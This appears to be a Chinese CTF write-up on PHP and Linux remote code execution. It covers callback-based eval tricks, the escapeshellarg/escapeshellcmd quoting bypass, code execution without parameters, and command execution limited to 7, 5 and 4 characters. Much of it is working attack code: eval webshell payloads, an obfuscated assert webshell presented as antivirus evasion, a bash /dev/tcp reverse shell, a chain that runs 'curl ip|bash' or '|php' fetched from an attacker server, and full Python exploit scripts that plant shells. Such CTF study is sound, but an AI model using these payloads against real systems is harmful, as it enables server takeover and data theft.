rce(上)


有关一些php和linux命令执行的知识

RCE

PHP命令执行

eval

1
eval(assert("eval(\$_POST[1]);"));
1
eval(eval($_POST[1]));

assert

同eval

1
assert($_POST[1]);
  • php 7.2 前,assert是一个函数,可以使用可变函数调用

可变函数:如果一个变量名后面有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//demo
<?php
function foo(){
echo "In foo() <br/>\n";
}
function bar($arg=''){
echo "In bar(), argument was '$arg'";
}
function echoit($string){
echo $string;
}
$func = 'foo';
$func();//会调用foo()
$func = 'bar';
$bar('test');//会调用bar()
$func = 'echoit';
$func('string');
?>
  • php 7.2 后,assert与eval一样,不是函数而是语言构造器

create_function

具体可以看看php特性篇,讲述了create_function的注入

但是挺可惜的,create_function在php7之后就被移除了

1
2
3
4
5
6
7
<?php
$func = create_function('',$_POST['a']);
$func();
/*相当于 function func(){
$_POST['a'];
}
然后调用*/

WordPress <= 4.6.1 的rce漏洞就是利用了create_function触发

如果没有的话我们也可以这么写:

1
2
$a = ['create_function','','2;}system(dir);/*'];
call_user_func(...$a);

如果是命令注入,无需调用,直接写:

1
create_function('','echo 123;}system('ls');//');

call_user_func/call_user_func_array

call_user_func('a','b');

相当于a(b);

1
2
call_user_func('assert', '$_POST[1]');
call_user_func('phpinfo', -1);

call_user_func_array,需要后面一个变成数组:

例如

1
2
call_user_func_array($_GET[1], $_GET[2]);
//1=system&2[]=ls

array_walk

array_walk(a, b)

其中a是数组,相当于调用b(a)

array_walk使用用户自定义函数对数组中的每个元素做回调处理

1
2
3
array_walk($_GET[1], $GET[2]);
//1[]=ls & 2=system
//1[]=phpinfo()&2=assert

array_map

array_map(a, b)

其中b是数组,相当于调用a(b)

array_map为数组的每个元素应用回调函数

1
2
3
4
5
6
7
array_map($_GET[1], $_GET[2]);
//1=system&2[]=whoami
//1=assert&2=phonifo();
//$array = array(0,1,2,3,4,5);

//array_map($_GET[1], $array);
//1 = phpinfo()

array_filter

array_filter(array $array[, callable $callback [, int $flag =0]])

array_filter()会用回调函数过滤数组中的单元,依次将array数组中的每个值传递到callback函数,如果该函数返回了true,则array的数组当前值会被包含在返回的结果数组中,数组的键名保留不变:

1
2
3
array_filter(array($_GET['cmd'],$_GET['func']));
//func = system & cmd = whoami
//func = assert & cmd = phpinfo()

例如执行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
var_dump(array_map('system',array('ls')));
?>


/*
run
script.php
array(1) {
[0]=>
string(10) "script.php"
}
此时数组的当前值就是执行的结果,数组的键名仍然是0保持不变

*/

相当于调用b(a)

array_reduce

用回调函数将数组化为单一的值,第一个参数是数组,第二个是回调函数:

1
array_reduce([1], 'system', 'whoami');

例如:

1
2
3
4
5
6
7
array_reduce([1], 'system', 'ls');

/*
run
script.php
string(10) "script.php"
*/

array_diff_ukey/array_diff_uassoc

1
array_diff_ukey(['whoami'=>''],[''=>''],'system');

array_intersect_ukey/array_intersect_uassoc

同上

usort

usort()函数将用户自定义的比较函数对一个数组中的值进行排序:

1
2
3
4
5
6
7
8
9
<?php
//version < 5.6
usort($_GET, 'system');
//?1=1&2=whoami
//1=1 & 2 = phpinfo()
//version > 5.6
usort(...$_GET);//会报毒
//1[] = 1 &1[] = whoami & 2 = system
?>

ob_start()

1
2
3
4
5
6
7
<?php
$cmd = 'system';
ob_start($cmd);
echo "$_GET[1]";
ob_end_flush();
//a = ls
?>

preg_replace /e模式

这个在之前的每日一题出现过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

/e在php7已经不支持,php5.5已经弃用

可以执行第二个参数的内容,换句话说这里可以执行strtolower("\\1");

payload:

1
?\S*={${phpinfo()}}

一般来说是利用.*的,但是php的get此请求一般传不了.

所以我们改用\S*来代替

换句话讲其实是:

1
2
3
4
5
6
7
8
9
10
```





### $

`${}`能直接调用函数内容:

${phpinfo()}

1
2
3
4
5

### header_register_callback

```php
header_register_callback('phpinfo');

无参数的callback

PHP函数

passthru、system

两个函数等效:

1
passthru($_POST[1]);

exec/shell_exec

执行但不会回显,需要echo

pcntl_exec

1
2
3
<?php
pcntl_exec("/bin/bash", array("whoami"));
?>

popen

1
2
3
4
5
6
7
8
9
10
<?php
$test = "whoami";
$fp = popen($test, "r");

while(!feof($fp)){
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>

popen打开一个指向进程的管道,该进程由派生给定的command命令执行

proc_open

proc_open的例子:

1
2
3
4
5
6
7
8
9
10
<?php
$test = "whoami";
$array = array(
array("pipe", "r") //标准输入
array("pipe", "w") //标准输出内容
array("pipe", "w") //标准输出错误
);
$fp = proc_open($test, $array, $pipes);
echo stream_get_contents($pipes[1]);//从输出内容通道获取内容
?>

其实就是执行一个命令,并且打开管道输入、输出内容

另一个来自php官方手册的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
2 => array("file", "/tmp/error-output.txt", "a") // 标准错误,写入到一个文件
);

$cwd = '/tmp';
$env = array('some_option' => 'aeiou');

$process = proc_open('php', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
// $pipes 现在看起来是这样的:
// 0 => 可以向子进程标准输入写入的句柄
// 1 => 可以从子进程标准输出读取的句柄
// 错误输出将被追加到文件 /tmp/error-output.txt

fwrite($pipes[0], '<?php print_r($_ENV); ?>');
fclose($pipes[0]);

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);


// 切记:在调用 proc_close 之前关闭所有的管道以避免死锁。
$return_value = proc_close($process);

echo "command returned $return_value\n";
}
?>

jacko神的题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
show_source(__FILE__);
$c1 = $_GET['c1'];
$c2 = $_GET['c2'];
if(preg_match('/\s|\$|{/',$c1.$c2)){
echo 'Not allowed';
exit;
}
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error", "a")
);
$process = proc_open($c1, $descriptorspec, $pipes);
fwrite($pipes[0],$c2);
fclose($pipes[0]);
echo stream_get_contents($pipes[1]);
fclose($pipes[1]);
proc_close($process);

payload:

1
?c1=php&c2=<?=`cat\x20/f*`;?>

``

相当于shell_exec

1
2
<?=``;?>
相当于echo shell_exec();

escapeshellarg + escapeshellcmd

这里在我的飞书上出现过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];//get传参
$host = escapeshellarg($host); //escapeshellarg
$host = escapeshellcmd($host); //escapeshellcmd
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);//nmap
}

这里利用nmap 内容 -oG filename可以将内容写入到文件名内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
escapeshellarg();
其功能是给字符串增加一对单引号,并且能够引用或者转码任何已存在的单引号
例子:
echo escapeshellarg(1);
会输出 '1'
echo escapeshellarg("1");
会输出'1'
echo escapeshellarg("'1'");
会输出 ''\''1'\''
echo escapeshellarg('"1"');
会输出'"1"'
echo escapeshellarg(" ''a'' ");
会输出 ' '\'''\''a'\'''\'' '
分析一下其流程大概是这样的:
1. 如果是没有单引号的会给它添加一对单引号

2. 如果只有双引号括住的,此时会将双引号转化为单引号

3.里面有单引号的,在每一个单引号前都加上'\'

例如上面的a有两个引号,此时每个引号前都被加上了'\':
分割一下是这样的:
' '\''(第一个引号)'\''(第二个引号)a'\''(第三个引号)'\''(第四个引号) '
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
escapeshellcmd()
escapeshellcmd会对字符串中可能存在欺骗shell从而执行任意命令的符号进行转义,同时这个函数保证在用户的数据输入到exec或者system中时进行转义

反斜线会在下面的符号进行插入

&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *' 和 " 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

转换原理为:
1. 对于&#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*前会直接加\
2. 对于' ",仅在不配对时加\

例如
$a="'";
echo escapeshellcmd($a);
输出结果为\'
如果是'',则输出结果为'',双引号同理

例如
<?php
$a = "& # ; ` | \ ? ~ < > ^ ( ) [ ] { } $ * \x0A end";
echo escapeshellcmd($a);
?>

输出
\& \# \; \` \| \\ \? \~ \< \> \^ \( \) \[ \] \{ \} \$ \* \
end

这两个函数是不能调换使用顺序的

即不能够在escapeshellarg()后使用escapeshellcmd()

否则可能会造成一些单引号的闭合:

例如我有一个木马:

1
<?php @eval($_POST["a"]);?>

我要写入一下

经过escapeshellarg后:

1
'<?php @eval($_POST["a"]);?>'

经过escapeshellarg后再经过escapeshellcmd:

1
'\<\?php @eval\(\$_POST\[\"a\"\]\)\;\?\>'

符合我们的预期

但是,如果我们的木马改成了:

1
'<?php @eval($_POST["a"]);?>'

此时经过escapeshellarg就会变成:

1
''\''<?php @eval($_POST["a"]);?>'\'''

再经过escapeshellcmd:

1
''\\''\<\?php @eval\(\$_POST\[\'a\'\]\)\;\?\>'\\'''

处理一下就相当于变成了:

1
\<?php @eval($_POST["a"]);?>\\

此时就相当于成功执行了一个shell

但是如果我们要写入的话:

1
<?php @eval($_POST["a"]);?> -oG 1.php

payload的话还需要加入前后的空格:

1
' <?php @eval($_POST["a"]);?> -oG 1.php '

如果不加的话:

1
''\\''\<\?php @eval\(\$_POST\["a"\]\)\;\?\> -oG 1.php'\\'''

会变成:

1
\<?php @eval($_POST["a"]);?> -oG 1.php\\

导致后面写入错误

所以要加个空格

payload:

1
' <?php @eval($_POST["a"]);?> -oG 1.php '

file_put_contents写马

1
2
3
file_put_contents("shell.php", "<?php @eval(\x24_POST[1]);?>");
或者
file_put_contents("shell.php", "<?php @eval(\$_POST[1]);?>");

include 读文件

利用ctfshow命令执行的姿势:

1
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=1.php

PHP 无参数rce

1
2
利用:
scandir('.');

如果过滤了,可以利用:

1
scandir(pos(localeconv()));

读当前目录:

1
var_dump(scandir(pos(localeconv())));

随机编码爆破:

1
var_dump(scandir(chr(strrev(uniqid()))));

当然还有rand

请求头传递参数

getallheaders();获取到所有的http报头

利用:

1
2
var_dump(end(getallhandlers()));
//测试返回的请求头是什么,然后直接改这个请求头就好

还可以

1
var_dump(apache_request_headers());

还可以:

  • array_reverse(),反转数组
  • next,取数组的下一位

get_defined_vars()

类似无中生有:

1
eval(end(next(get_defined_vars())));&b=

call_user_func

1
cmd=call_user_func('create_function','','}eval(phpinfo());/*')%3b

利用反序列化写马:

1
2
3
call_user_func(...unserialize(next(getallheaders()))); );

在请求头内写自己的序列化结果

session_id:

phpsession_id只允许数字和字母,利用hex2bin转换:

1
2
3
4
5
6
7
8
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'payload OK!';".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP 无数字字母RCE

详见我的看看无数字字母RCE

简单看看无数字字母RCE | Err0r233

免杀(?)

1
2
3
4
5
6
7
8
9
10
<?php
$a = 'ass';
$b = 'er';
$c = 't';
$d = $a.$b.$c;
$e = '_P';
$f = 'OST';
$g = $e.$f;
$d($$g[1]);
?>

利用strtr()将子字符串替换为给定的字符串

例如将Hello World替换为Hi Earth

1
2
$arr = array("Hello" => "Hi", "world" => "Earth");
echo strtr("Hello world",$arr);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

$str1 = 'aH(UUH(fsdfH(UUH(fsdf,fdgdefjg0J)r&%F%*^G*t';

$str2 = strtr($str1,array('aH(UUH(fsdfH(UUH(fsdf,'=>'as','fdgdefjg0J)'=>'se','r&%F%*^G*t'=>'rt'));

$str3 = strtr($str2,array('s,'=>'s','fdgdefjg0J)r&%F%*^G*'=>'er'));//assert

if(md5(@$_GET['a']) =='xxxx'){//随便起个md5,便于你控制

$str4 = strrev($_POST['a']);

$str5 = strrev($str4);

$str3($str5);//assert($_POST['a']);

}

绕open_basedir

读目录:

1
<?php $a=new%20DirectoryIterator("glob:///*");foreach($a%20as%20$f){echo($f->__toString().%27%20%27);}%20exit(0);?>

当然,直接绕:

1
mkdir('a');chdir('a');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');

绕过

拼接:

  • system(‘cat /flag’) 相当于 system(‘cat /f’.‘lag’);
  • 单双引号拼接
  • chr函数拼接
  • eval的独特拼接:(sy.(st).em)

十六进制:

1
2
3
<?=`\x6c\x73`;

echo $(ls);

过滤括号,利用include等不需要括号的函数:

1
include$_GET[1]?>&1=

过滤了分号:

如果是eval函数的话,可以直接将;换成?>

相当于短标签(?)

include、assert、system都可以利用

有限制长度的rce

前置知识

在linux中,利用sh可以直接把文件当成sh脚本执行

利用php可以直接将文件作为php执行

CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总

利用的思路是通过写文件,然后利用ls -t将其全部写入一个文件中,最后执行sh

7字符的rce

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__);
if(strlen($_GET[1]<7)){
echo strlen($_GET[1]);
echo '<hr/>';
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>

利用的思路其实是:

1
2
3
4
5
6
7
8
9
<?php eval($_GET[1]);
//或者是post

base64编码:
PD9waHAgZXZhbCgkX0dFVFsxXSk7

只需要执行:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
就能将shell写进1.php了

此时通过拆分,并且利用linux的\可以接上换行的特性,可以将命令分解成:

1
2
3
4
>ech\
>o\ \ //这里空格要加反斜杠
>PD9\
...

由于php的原因,需要双写反斜杠

ls -t 是按时间倒序写入(越晚的写入越前面),所以我们需要将其反过来这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//payload.txt
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

脚本执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "xxxx/?1={0}"
print("[+]start attack...")
with open("payload.txt", "r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(i.strip()))

#检查是否攻击成功:
test = requests.get("xxx/1.php")
if test.status_code == 200:
print("[*]Attack success!")

5字符的rce

BabyFirst Revenge

1
2
3
4
5
6
7
8
9
10
11
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

同样的思路,但是我们的ls -t>a长度大于了5,我们此时需要将ls -t>a也写入文件内(我们再写一个sh脚本即可)

5字符反弹shell

利用:

我们将反弹shell的语句放到vps上,然后让靶机curl我们的vps,利用curl ip|bash的方式执行:

1
2
vps上:
bash -i >& /dev/tcp/ip/port 0>&1

然后vps监听port

ls -t>_的写入:

1
2
3
4
5
6
7
8
>dir
>f\>
>ht-
>sl
*>v //将第一个指令,也就是我们的dir执行后的结果写入v,此时v的内容应该是 f> ht- sl
>rev
*v>a //调用rev,将v内的内容反转再写入a
sh a //最后利用sh a执行ls -th >f
1
2
3
4
5
6
7
8
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
sh a

注:这里利用dir是因为dir能够自动补齐空格,方便我们的运算

反弹shell主体:

1
curl ip|bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>bash
>\|\\
>23\\
>4.\\
>9\\
>2.\\
>5\\
>6.\\
>10\\
>\ \\
>rl\\
>cu\\

//最后sh a
sh f

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
url1 = "xxx/?cmd="
reset = "xxx/?reset=1"
s = requests.session()
s.get(reset)
#写入ls -th>a
list1=[
">dir",
">f\>",
">ht-",
">sl",
"*>v",
">rev",
"*v>a"
]

list2=[
">bash",
">\|\\",
">23\\",
">4.\\",
">9\\",
">2.\\",
">5\\",
">6.\\",
">10\\",
">\ \\",
">rl\\",
">cu\\"
]
for i in list1:
url2 = url1+str(i)
s.get(url2)
for j in list2:
url2 = url1+str(j)
s.get(url2)
s.get(url1+"sh a")
s.get(url1+"sh f")

直接rce

当然直接rce也是可以的,后面需要做更加多的拆分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\\
>1.\\
>\>\\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh a
sh f

脚本实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
url = 'xxxx/?cmd='
rawurl = 'xxxx'

attacklist=[
">dir",
">f\>",
">ht-",
">sl",
"*>v",
">rev",
"*v>a",
">hp",
">p\\",
">1.\\",
">\>\\",
">64\\",
">se\\",
">ba\\",
">\|\\",
">7\\",
">Sk\\",
">X\\",
">x\\",
">Fs\\",
">FV\\",
">d\\",
">X0\\",
">k\\",
">g\\",
">bC\\",
">h\\",
">XZ\\",
">gZ\\",
">A\\",
">aH\\",
">w\\",
">D9\\",
">P\\",
">S}\\",
">IF\\",
">{\\",
">\$\\",
">o\\",
">ch\\",
">e\\",
"sh a",
"sh f"
]

for i in attacklist:
print("[*]creating " + str(i))
payload = url+str(i)
requests.get(payload)
print("[*]testing...")
test = requests.get(rawurl+"/1.php")
if test.status_code == 200:
print("[*]attack success!")
else:
print("[!]some error occurred...")

4字符rce

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

在上面5字符的时候大概已经知道了*的作用:

在linux中,输入*会把第一个列出的文件名当作命令,然后把剩下的文件名当作参数

这就是为什么输入*v>a的时候就会自动将v的内容倒序再写入

因为ls的时候 rev在v的前面

*v会自动匹配rev 和 v

这就是4字符的rce的关键

直接贴exp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#-*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
target = 'http://52.197.41.31/'

# 存放待下载文件的公网主机的IP
shell_ip = 'xx.xx.xx.xx'

# 本机IP
your_ip = r.get( 'http://ipv4.icanhazip.com/' ).text.strip()

# 将shell_IP转换成十六进制
ip = '0x' + ''.join([ str ( hex ( int (i))[ 2 :].zfill( 2 ))
for i in shell_ip.split( '.' )])

reset = target + '?reset'
cmd = target + '?cmd='
sandbox = target + 'sandbox/' + \
hashlib.md5( 'orange' + your_ip).hexdigest() + '/'

# payload某些位置的可选字符
pos0 = random.choice( 'efgh' )
pos1 = random.choice( 'hkpq' )
pos2 = 'g' # 随意选择字符

payload = [
'>dir' ,
# 创建名为 dir 的文件

'>%s\>' % pos0,
# 假设pos0选择 f , 创建名为 f> 的文件

'>%st-' % pos1,
# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
# 因为alphabetical序中t>s

'>sl' ,
# 创建名为 >sl 的文件;到此处有四个文件,
# ls 的结果会是:dir f> kt- sl

'*>v' ,
# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
# 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符

'>rev' ,
# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v

'*v>%s' % pos2,
# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f

# 续行分割 curl 0x11223344|php 并逆序写入
'>p' ,
'>ph\\' ,
'>\|\\' ,
'>%s\\' % ip[ 8 : 10 ],
'>%s\\' % ip[ 6 : 8 ],
'>%s\\' % ip[ 4 : 6 ],
'>%s\\' % ip[ 2 : 4 ],
'>%s\\' % ip[ 0 : 2 ],
'>\ \\' ,
'>rl\\' ,
'>cu\\' ,

'sh ' + pos2,
# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
'sh ' + pos0,
# sh f 执行curl命令,下载文件,写入木马。
]

s = r.get(reset)
for i in payload:
assert len (i) < = 4
s = r.get(cmd + i)
print '[%d]' % s.status_code, s.url
sleep( 0.1 )
s = r.get(sandbox + 'fun.php?cmd=uname -a' )
print '[%d]' % s.status_code, s.url
print s.text

SP: 数组绕过

来自鹏城杯2023X1r0z师傅的解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);

if(isset($_GET['username'])){
$sandbox = '/var/www/html/sandbox' .md5("5050f6511ffb64e1914be4ca8b9d585c".$_GET['username'].'/');
mkdir($sandbox);
chdir($sandbox);

if(isset($_GET['title'])&&isset($_GET['data'])){
$data = $_GET['data'];
$title = $_GET['title'];
if(strlen($data)>5 || strlen($title)>3){
die("no!no!no!");
}
file_put_contents($sandbox.$title, $data);

if(strlen(file_get_contents($title))<=10){
system('php ' .$sandbox.$title);
}
else{
system('rm '.$sandbox.$title);
die("no!no!no!");
}
}
else if(isset($_GET['reset'])){
system('/bin/rm -rf ' . $sandbox);
}
}

这里将文件名限制在了3个字符以内,内容限制在了5个字符以内,更加的困难

这道题的正常解法大概是这样的:

还记得之前的几个特性吗?

  1. sh文件能够将正常的文件当sh命令来执行
  2. *能够匹配ls的结果,并且将ls的第一个文件作为指令,其余的文件名作为参数

所以这题的解法就是:

1
2
3
1. title=sh&data=1
2. title=t&data=nl /*
3. title=w;*&data

这样子的话第一步会生成一个sh的文件名,我们只需要其文件名

第二步会生成一个t的文件名(确保其ls之后在sh之后),我们只需要其内容

第三步用w闭合前面的php,分号分割后利用*直接能够执行sh t

此时相当于执行nl /*,自然能读到flag

另外一种解法就是利用数组绕过长度限制,直接执行命令:

1
title[]=123&data[]=<?=`nl /f*`;

利用到php 123也会把123当作php脚本执行

反序列化内过滤[Oa]:[\d]+问题

例如:

1
2
3
4
5
6
<?php

if(!preg_match('/^[Oa]:[\d]+/i', $_GET['a'])){
unserialize($a);
}
?>

利用方式:

  1. 如果能用+的话直接用加号隔断
  2. 换别的方法:
1
2
3
4
5
6
ArrayObject:

$a = new ArrayObject;
$a-> a = 反序列化起点;

echo unserialize($a);
1
2
3
4
5
6
7
SplStack:

$a = new SplStack();

$a->push(反序列化起点);

echo serialize($a);

RCE后有脏数据

__HALT_COMPILER();能帮到你:

__HALT_COMPILER();能够让编译器停止编译,当编译器执行到这就不用再执行__HALT_COMPILER();后面的部分了。通过提前停止编译达到了不解析脏数据,eval能够正常执行的,看demo:

1
2
3
4
5
6
<?php
$cmd = $_GET['cmd'];
if("aaa" === preg_replace("/;+/", "aaa", preg_replace("/[a-zA-z_\(\)]+/", "", $cmd))){
eval($cmd.'Err0r23333333');
}
?>

利用方式:

它只是把$cmd的字母、下划线、括号置空,再用分号置换为aaa和aaa比较

相当于无参数RCE,问题在eval后的脏数据,我们利用__HALT_COMPILER();提前停止编译,就能除去Err0r23333333:

1
?cmd=phpinfo();__HALT_COMPILER();

四处收集的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
if (isset($_GET['print'])) {
if (!empty($_GET['print'])){
$printValue= strtolower($_GET['print']);
$blocked = array("cat", "more" ,"readfile", "fopen", "file_get_contents", "file", "SplFileObject" );
$special_block= "nc";
$$special_block= "../flag.txt";
foreach ($blocked as $value) {
if (strpos($printValue, $value) || preg_match('/\bsystem|\bexec|\bbin2hex|\bassert|\bpassthru|\bshell_exec|\bescapeshellcmd| \bescapeshellarg|\bpcntl_exec|\busort|\bpopen|\bflag\.txt|\bspecial_block|\brequire|\bscandir|\binclude|\bhex2bin|\$[a-zA-Z]|[#!%^&*_+=\-,\.:`|<>?~\\\\]/i', $printValue)) {
$printValue="";
echo "<script>alert('Bad character/word ditected!');</script>";
break;
}
}
eval($printValue . ";");
}
}
?>

payload:

1
echo '';print(eval('return ${blocked}[4](${nc});'))

自己看吧,很好理解,相当于直接调用$blocked数组的file_get_contents

感觉不如直接无参数rce,看看后面有没有过滤getallheaders咯

甚至还可以sys${114514}tem('head%09/flag');

不知道是不是上面那个形式,总之就是可以直接卡bug